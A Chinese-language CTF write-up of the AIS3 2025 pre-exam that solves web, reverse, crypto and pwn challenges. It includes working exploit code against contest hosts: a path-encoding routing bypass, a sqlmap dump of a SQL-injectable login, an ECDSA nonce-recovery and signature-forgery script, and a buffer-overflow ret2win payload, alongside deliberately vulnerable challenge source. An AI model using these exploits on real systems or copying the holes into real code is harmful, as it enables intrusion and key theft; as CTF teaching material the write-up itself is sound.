3490 字
17 分鐘
2025 AIS3 Pre-exam Writeup

AIS3 2025 pre-exam Writeup#

Web#

[100]Tomorin db 🐧#

首先看一下source code:

<!doctype html>
<meta name="viewport" content="width=device-width">
<pre>
<a href="cute.jpg">cute.jpg</a>
<a href="flag">flag</a>
<a href="is.jpg">is.jpg</a>
<a href="tomorin.jpg">tomorin.jpg</a>
</pre>
package main
import "net/http"
func main() {
http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
})
http.ListenAndServe(":30000", nil)
}

這題考點屬於 Web 路由繞過(Routing Bypass),可以利用 .%2Fflag 成功繞過 /flag 的 redirect handler,直接讀取靜態檔案 /app/Tomorin/flag。 而其他像 .//flag 則會被導向,只有 .%2Fflag 有效,是因為它繞過了 Go 標準路由與 path 正規化的判斷。

[100]Login Screen 1#

有一個登入介面,登入後可以輸入2FA code如果以admin登入且2fa正確,就可以拿到flag。

<?php
include("init.php");
// if already logged in, redirect to dashboard
if (isset($_SESSION['username'])) {
header('Location: dashboard.php');
die();
}
// Handle form submission (both login and registration)
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
// Validation: Ensure both fields are filled
if (empty($username) || empty($password)) {
echo "Please enter both username and password.";
} else {
// Check if the username already exists
$stmt = $db->prepare("SELECT * FROM Users WHERE username = '$username'");
$result = $stmt->execute();
$user = $result->fetchArray();
if ($user) {
// If user exists, login logic (verify password)
if (password_verify($password, $user['password'])) {
// Start session for the user
$_SESSION['username'] = $username;
$_SESSION['verified'] = 0; // Set verified to 0
// redirect to dashboard
header('Location: 2fa.php');
die();
} else {
die("Invalid username or password.");
}
} else {
// If user does not exist,
die("Invalid username or password.");
}
}
}
?>

我們可以看到雖然使用了prepare()函數嘗試防SQLI,但沒有被正確使用,導致$username 被直接插入字串中,接下來就用sqlmap下去炸users表。

sqlmap -u "http://login-screen.ctftime.uk:36368/index.php" \
--cookie="PHPSESSID=0989e32287dcbac0bc452506b6c33abe" \
--data="username=admin&password=1234" \
--batch -p username -D main -T Users --dump --threads=5

螢幕擷取畫面 2025-05-24 201314 接下來登入就可以拿到flag

Misc#

[100] Ramen CTF#

題目描述:

我在吃 CTF,喔不對,拉麵,但我忘記我在哪間店吃了...,請幫我找出來
(P.S. FlagFormat: AIS3{google map 上的店家名稱:我點的品項在菜單上的名稱})
Author: whale120

掃發票QRcode,然後丟到財政部去找餐廳跟餐點。

[100] Welcome#

直接送,照上面打。

[100] AIS3 Tiny Server - Web / Misc#

題目敘述:

From 7890/tiny-web-server
I am reading Computer Systems: A Programmer's Perspective.
It teachers me how to write a tiny web server in C.
Non-features
No security check
The flag is at /readable_flag_somerandomstring (root directory of the server). You need to find out the flag name by yourself.
The challenge binary is the same across all AIS3 Tiny Server challenges.
Note: This is a misc (or web) challenge. Do not reverse the binary. It is for local testing only. Run ./tiny -h to see the help message. You may need to install gcc-multilib to run the binary.
Note 2: Do not use scanning tools. You don't need to scan directory.
Challenge Instancer
Warning: Instancer is not a part of the challenge, please do not attack it.
Please solve this challenge locally first then run your solver on the remote instance.
Author: pwn2ooown

簡單來說,就是想辦法能在本機上訪問到根目錄後,去遠端連線就好 PS:這題跟Tomorin db有一樣解法 image

AIS3{tInY_We8_seRVER_witH_FIl3_Br0Ws1ng_@S_@_Fe4TUrE}

Reverse#

[100] AIS3 Tiny Server - Reverse#

題目敘述:

Find the secret flag checker in the server binary itself and recover the flag.
The challenge binary is the same across all AIS3 Tiny Server challenges.
Please download the binary from the "AIS3 Tiny Server - Web / Misc" challenge.
This challenge doesn't depend on the "AIS3 Tiny Server - Pwn" and can be solved independently.
It is recommended to solve this challenge locally.
Author: pwn2ooown

看一下關鍵code:

if ( sub_1E20(p_s) )
sub_1F90(fd, 200, "Flag Correct!", "Congratulations! You found the correct flag!", 0);
else
sub_1F90(fd, 403, "Wrong Flag", "Sorry, that's not the correct flag. Try again!", 0);
return close(fd);
}
_BOOL4 __cdecl sub_1E20(int a1)
{
unsigned int index; // ecx
char v2; // si
char v3; // al
int i; // eax
char v5; // dl
_BYTE key[10]; // [esp+7h] [ebp-49h] BYREF
_DWORD enc[11]; // [esp+12h] [ebp-3Eh]
__int16 v9; // [esp+3Eh] [ebp-12h]
index = 0;
v2 = 51;
v9 = 20;
v3 = 'r';
enc[0] = 1480073267;
enc[1] = 1197221906;
enc[2] = 254628393;
enc[3] = 920154;
enc[4] = 1343445007;
enc[5] = 874076697;
enc[6] = 1127428440;
enc[7] = 1510228243;
enc[8] = 743978009;
enc[9] = 54940467;
enc[10] = 1246382110;
qmemcpy(key, "rikki_l0v3", sizeof(key));
while ( 1 )
{
*(enc + index++) = v2 ^ v3;
if ( index == 45 )
break;
v2 = *(enc + index);
v3 = key[index % 0xA];
}
for ( i = 0; i != 45; ++i ) //檢查長度為 45
{
v5 = *(a1 + i);
if ( !v5 || v5 != *(enc + i) ) //每個字元都要完全相符
return 0;
}
return *(a1 + 45) == 0; //最後是 null (\0) 結尾
}

逆出來就一目了然,接著照他邏輯寫exp.py就好

exp.py
v8_values = [
1480073267,
1197221906,
254628393,
920154,
1343445007,
874076697,
1127428440,
1510228243,
743978009,
54940467,
1246382110
]
v8_bytes = bytearray()
for value in v8_values:
v8_bytes.extend(value.to_bytes(4, byteorder='little'))
v8_bytes.append(0x14)
original_bytes = bytearray(v8_bytes)
processed_bytes = bytearray(45)
key = b"rikki_l0v3"
index = 0
v2 = 0x33
v3 = key[0]
while True:
processed_bytes[index] = v2 ^ v3
index += 1
if index >= 45:
break
v2 = original_bytes[index]
v3 = key[index % 10]
flag = processed_bytes.decode('latin-1')
print("AIS3-Flag:", flag)
#AIS3-Flag: AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}

[100] web flag checker#

訪問 http://chals1.ais3.org:29998/會載入一個簡單的 HTML 頁面,並引入index.js和index.wasm頁面有一個輸入欄位與按鈕。我們的目標是找出輸入哪一組 flag 才能通過驗證。

打開 index.js 可以觀察到 JavaScript 透過 fetch(‘index.wasm’) 載入 WebAssembly 模組並執行檢查:

const val = document.getElementById('flagInput').value;
stringToUTF8(val, $0, 64);

代表使用者輸入的 flag 會寫入 WebAssembly 記憶體的某個位址,接著會由WebAssembly模組進行檢查。

使用 wabt 的 wasm2wat 工具可以還原:wasm2wat index.wasm -o index.wat

在 .wat 檔案中,可以找到核心驗證函數,例如:

(func $flagchecker (param $ptr i32) (result i32)
;; 對輸入進行操作
)

進一步追蹤編譯後的 C 對應程式碼,可發現輸入會被分成有大量 i64.const 或 i64.store 的片段,透過輪轉(rotate_left) 與記憶體常數做比對,然後嘗試逆著推回來。

// 取出輸入的 64-bit 值,做左旋轉後比對
rotated_input = rotate_left(*(input_ptr + offset), shift);
if (rotated_input != *(memory + const_offset)) return 0;

AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}

[100] A_simple_snake_game#

題目敘述:

Here is A very interesting Snake game. If no one beat this game the world will be destory in 30 seconds. Now, Chenallger , It's your duty to beat the game, save the world.
author: Aukro

這題我花超多時間在解,其實題目不難,就是沒有抓到正確方向,以下是我所嘗試過的方向,對應到題目說的beat the game:

1.patch掉wall、border 2.patch掉死亡變成無敵模式 3.讓蛇身變超大可以輕易玩完遊戲 4.patch掉分數 5.撐超過題目說的30 seconds

但最後其實發現在drawText()可以發現有個奇怪條件,patch再跑就getflag了 https://github.com/jcalvarezj/snake/blob/master/Snake.cpp 這邊我還有找到題目原碼,就不放反編譯了

Crypto#

[100] Stream#

source code:

from random import getrandbits
import os
from hashlib import sha512
from flag import flag
def hexor(a: bytes, b: int):
return hex(int.from_bytes(a)^b**2)
for i in range(80):
print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))
print(hexor(flag, getrandbits(256)))

看到題目我原本想說可以利用MT19937的624組樣本來預測下一組隨機值,但發現只會給80組,原本到這邊就卡住了,但後來去google知道624組指的是32-bits 而題目給的是256bits,所以每個hex其實是有8個32-bits,8*80=640,超過624即符合條件,接下來原本想去github挖好用的MT19937 solver code但都找不到,就用AI生架構跟AI+人工debug。exp如下:

exp.py
import sys, math, hashlib, random
hex_list = [
# 80組 enc_random_hex
# 1組 enc_flag_hex
]
def recover_flag_from_hex_lines(hex_lines):
cipher = hex_lines[-1]
decoys = hex_lines[:-1]
digest_ints = [int.from_bytes(hashlib.sha512(bytes([i])).digest(), 'big') for i in range(256)]
random_outputs = []
for val in decoys:
for b in range(256):
candidate = val ^ digest_ints[b]
root = math.isqrt(candidate)
if root * root == candidate and root.bit_length() <= 256:
random_outputs.append(root)
break
else:
raise ValueError("error")
mt_outputs = []
for r in random_outputs:
for i in range(8):
mt_outputs.append((r >> (32 * i)) & 0xFFFFFFFF)
MASK_B = 0x9D2C5680
MASK_C = 0xEFC60000
def unshift_right(value, shift):
result = value
for _ in range(5):
result = value ^ (result >> shift)
return result & 0xFFFFFFFF
def unshift_left(value, shift, mask):
result = value
for _ in range(5):
result = value ^ ((result << shift) & mask)
return result & 0xFFFFFFFF
state = []
for y in mt_outputs[:624]:
y = unshift_right(y, 18)
y = unshift_left(y, 15, MASK_C)
y = unshift_left(y, 7, MASK_B)
y = unshift_right(y, 11)
state.append(y)
rng = random.Random()
rng.setstate((3, tuple(state + [0]), None))
for _ in range(80):
rng.getrandbits(256)
B = rng.getrandbits(256)
flag_int = cipher ^ (B * B)
flag_bytes = flag_int.to_bytes(64, 'big').rstrip(b"\x00")
return flag_bytes.decode()
print("Recovered flag:", recover_flag_from_hex_lines(hex_list))
#AIS3{no_more_junks...plz}

[100] SlowECDSA#

source code:

#!/usr/bin/env python3
import hashlib, os
from ecdsa import SigningKey, VerifyingKey, NIST192p
from ecdsa.util import number_to_string, string_to_number
from Crypto.Util.number import getRandomRange
from flag import flag
FLAG = flag
class LCG:
def __init__(self, seed, a, c, m):
self.state = seed
self.a = a
self.c = c
self.m = m
def next(self):
self.state = (self.a * self.state + self.c) % self.m
return self.state
curve = NIST192p
sk = SigningKey.generate(curve=curve)
vk = sk.verifying_key
order = sk.curve.generator.order()
lcg = LCG(seed=int.from_bytes(os.urandom(24), 'big'), a=1103515245, c=12345, m=order)
def sign(msg: bytes):
h = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order
k = lcg.next()
R = k * curve.generator
r = R.x() % order
s = (pow(k, -1, order) * (h + r * sk.privkey.secret_multiplier)) % order
return r, s
def verify(msg: str, r: int, s: int):
h = int.from_bytes(hashlib.sha1(msg.encode()).digest(), 'big') % order
try:
sig = number_to_string(r, order) + number_to_string(s, order)
return vk.verify_digest(sig, hashlib.sha1(msg.encode()).digest())
except:
return False
example_msg = b"example_msg"
print("==============SlowECDSA===============")
print("Available options: get_example, verify")
while True:
opt = input("Enter option: ").strip()
if opt == "get_example":
print(f"msg: {example_msg.decode()}")
example_r, example_s = sign(example_msg)
print(f"r: {hex(example_r)}")
print(f"s: {hex(example_s)}")
elif opt == "verify":
msg = input("Enter message: ").strip()
r = int(input("Enter r (hex): ").strip(), 16)
s = int(input("Enter s (hex): ").strip(), 16)
if verify(msg, r, s):
if msg == "give_me_flag":
print("✅ Correct signature! Here's your flag:")
print(FLAG.decode())
else:
print("✔️ Signature valid, but not the target message.")
else:
print("❌ Invalid signature.")
else:
print("Unknown option. Try again.")

該題實作了一個基於橢圓曲線密碼學的數位簽名算法,但使用LCG來產生每次簽章用的隨機數k,這導致只要取得幾筆簽章樣本,就可以預測下一次簽章所使用的k進而推出使用者的私鑰d。

攻擊流程: 1.腳本利用 LCG Nonce 生成的漏洞來恢復伺服器的私鑰 (sk),然後偽造對訊息 “give_me_flag” 的簽章。 2.根據 ECDSA 原理,把每組簽章轉換為k_i = a_i + b_i * sk mod n 3.用代數消元的方式,從連續的(k1, k2, k3, k4)中消去LCG的a、c,建立一個只含 sk 的二次方程式。 4.依序測試每個sk值,根據k1,k2,k3推出LCG的參數a、c,並驗證它們是否能正確算出k4。 5.找到a、c後利用LCG推測出下一個Nonce k5,然後使用已知的私鑰sk,對”give_me_flag”訊息製作合法簽章(r5, s5)。 6.送出”give_me_flag”和偽造的(r5, s5)。

#!/usr/bin/env python3
import socket
import hashlib
HOST = 'chals1.ais3.org'
PORT = 19000
# NIST P-192 曲線參數
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFF
n = 0xFFFFFFFFFFFFFFFFFFFFFFFF99DEF836146BC9B1B4D22831
a_curve = p - 3
b_curve = int('64210519E59C80E70FA7E9AB72243049FEB8DEECC146B9B1', 16)
Gx = int('188DA80EB03090F67CBF20EB43A18800F4FF0AFD82FF1012', 16)
Gy = int('07192B95FFC8DA78631011ED6B24CDD573F977A11E794811', 16)
G = (Gx, Gy)
def ec_add(P, Q):
if P is None: return Q
if Q is None: return P
(x1, y1), (x2, y2) = P, Q
if x1 == x2:
if (y1 + y2) % p == 0: return None
lam = (3 * x1 * x1 + a_curve) * pow(2 * y1, -1, p) % p
else:
lam = (y2 - y1) * pow(x2 - x1, -1, p) % p
x3 = (lam * lam - x1 - x2) % p
y3 = (lam * (x1 - x3) - y1) % p
return (x3, y3)
def ec_mul(k, P):
R = None
while k:
if k & 1:
R = ec_add(R, P)
P = ec_add(P, P)
k >>= 1
return R
def H(msg):
return int(hashlib.sha1(msg.encode()).hexdigest(), 16) % n
def recv_until(s, pat):
data = b""
while True:
chunk = s.recv(1024)
if not chunk:
break
data += chunk
if pat.encode() in data:
break
return data.decode(errors="ignore")
def send_line(s, line):
s.send((line + "\n").encode())
def mod_sqrt(a, p):
if a == 0: return 0
if pow(a, (p - 1) // 2, p) != 1: return None
q, s = p - 1, 0
while q % 2 == 0:
q //= 2; s += 1
z = 2
while pow(z, (p - 1) // 2, p) == 1:
z += 1
c = pow(z, q, p)
r = pow(a, (q + 1) // 2, p)
t = pow(a, q, p)
m = s
while t != 1:
i, t2 = 1, pow(t, 2, p)
while pow(t2, 2 ** (i - 1), p) != 1:
i += 1
b = pow(c, 2 ** (m - i - 1), p)
m = i
c = (b * b) % p
t = (t * c) % p
r = (r * b) % p
return r
# 建立連線
s = socket.create_connection((HOST, PORT))
s.settimeout(2)
recv_until(s, "option:")
sigdata = []
for _ in range(4):
send_line(s, "get_example")
response = recv_until(s, "option:")
lines = response.splitlines()
r_line = next((l for l in lines if l.startswith("r:")), "")
s_line = next((l for l in lines if l.startswith("s:")), "")
r = int(r_line.split(":", 1)[1].strip(), 16)
ss = int(s_line.split(":", 1)[1].strip(), 16)
sigdata.append((H("example_msg"), r, ss))
# 解密流程
(h1, r1, s1), (h2, r2, s2), (h3, r3, s3), (h4, r4, s4) = sigdata
inv = lambda x: pow(x, -1, n)
a1 = (h1 * inv(s1)) % n; b1 = (r1 * inv(s1)) % n
a2 = (h2 * inv(s2)) % n; b2 = (r2 * inv(s2)) % n
a3 = (h3 * inv(s3)) % n; b3 = (r3 * inv(s3)) % n
a4 = (h4 * inv(s4)) % n; b4 = (r4 * inv(s4)) % n
e = (a3 - a2) % n; f = (b3 - b2) % n
g = (a3 - a1) % n; h_ = (b3 - b1) % n
i_ = (a2 - a1) % n; j_ = (b2 - b1) % n
k_ = (a2 - a4) % n; l_ = (b2 - b4) % n
A2 = (f * h_ + j_ * l_) % n
A1 = (e * h_ + f * g + i_ * l_ + j_ * k_) % n
A0 = (e * g + i_ * k_) % n
disc = (A1 * A1 - 4 * A2 * A0) % n
sqrt_disc = mod_sqrt(disc, n)
if sqrt_disc is None:
print("[!] 無法開根號")
exit()
x1 = (-A1 + sqrt_disc) * inv(2 * A2) % n
x2 = (-A1 - sqrt_disc) * inv(2 * A2) % n
priv_key = None
for x in [x1, x2]:
k1 = (h1 + x * r1) * inv(s1) % n
k2 = (h2 + x * r2) * inv(s2) % n
k3 = (h3 + x * r3) * inv(s3) % n
if (k2 - k1) == 0:
continue
a_lcg = (k3 - k2) * inv(k2 - k1) % n
c_lcg = (k2 - a_lcg * k1) % n
k4 = (h4 + x * r4) * inv(s4) % n
if (a_lcg * k3 + c_lcg - k4) % n == 0:
priv_key = x
break
if priv_key is None:
print("[x] 私鑰還原失敗")
exit()
print(f"[+] 找到私鑰: {hex(priv_key)}")
print(f"[+] LCG 參數: a = {hex(a_lcg)}, c = {hex(c_lcg)}")
# 偽造簽章
k5 = (a_lcg * k4 + c_lcg) % n
h_flag = H("give_me_flag")
R = ec_mul(k5, G)
r5 = R[0] % n
s5 = (inv(k5) * (h_flag + priv_key * r5)) % n
print("[+] 偽造簽章成功:")
print(f" r = {hex(r5)}")
print(f" s = {hex(s5)}")
# 送出 verify
send_line(s, "verify")
recv_until(s, "message:")
send_line(s, "give_me_flag")
recv_until(s, "r (hex):")
send_line(s, hex(r5))
recv_until(s, "s (hex):")
send_line(s, hex(s5))
# 讀取結果
final_response = recv_until(s, "option:")
print("[+] 伺服器回應:")
print(final_response)
# 顯示 flag(如果有)
for line in final_response.splitlines():
if "AIS3{" in line:
print("[🎉] Flag:", line.strip())
#AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}

螢幕擷取畫面 2025-05-26 141358

Pwn#

[100]Welcome to the World of Ave Mujica🌙#

題目描述:

Flag 在 /flag,這題的 flag 有 Unicode 字元,請找到 flag 之後直接提交到平台上,如果因為一些玄學問題 CTFd 送不過請 base64 flag 出來用 CyberChef decode 應該就可以了
Instancer
請先在本地測試並確定能成功攻擊後再開 instance
若同時參加兩場比賽,輸入任意一個 CTFd 的 token 皆可啟動 instance
Instancer 並非題目的一部分,請勿攻擊 Instancer。發現問題請回報 admin
Author: pwn2ooown

source code:

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[143]; // [rsp+0h] [rbp-A0h] BYREF
char s[8]; // [rsp+8Fh] [rbp-11h] BYREF
unsigned __int8 int8; // [rsp+97h] [rbp-9h]
char *v7; // [rsp+98h] [rbp-8h]
setvbuf(stdin, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
printf("\x1B[2J\x1B[1;1H");
printf("\x1B[31m");
printf("%s", (const char *)banner);
puts(&byte_402A78);
puts(&byte_402AB8);
fgets(s, 8, stdin);
v7 = strchr(s, 10);
if ( v7 )
*v7 = 0;
if ( strcmp(s, "yes") )
{
puts(&byte_402AE8);
exit(1);
}
printf(&byte_402B20);
int8 = read_int8();
printf(&byte_402B41);
read(0, buf, int8);
return 0;
}
int Welcome_to_the_world_of_Ave_Mujica()
{
puts(&s);
puts(&byte_402990);
puts(&byte_4029B4);
puts(&byte_4029C3);
puts(&byte_4029D2);
puts(&byte_4029E1);
puts(&byte_4029FC);
puts(&byte_402A15);
return execve("/bin/sh", 0, 0);
}

可以發現read_int8()可以輸入0~255的數字,但read(0,buf,int8)沒有檢查int8是否超過buf大小,所以可以利用這點ret2win。

from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'
welcome_addr = 0x401256
#p = process('./chal')
p=remote("chals1.ais3.org",60877)
p.sendlineafter(b"?", b"yes")
p.sendlineafter(b": ", b"-1")
payload = flat(
b'A' * 168,
welcome_addr
)
p.sendlineafter(b": ", payload)
p.interactive()
#AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._ad15e425293ef05414d129082e0c9154}

最終解題#

螢幕擷取畫面 2025-05-26 170121

2025 AIS3 Pre-exam Writeup
https://bearrr777.github.io/posts/ctf/ais3_2025/
作者
RUI
發佈於
2025-07-21
許可協議
CC BY-NC-SA 4.0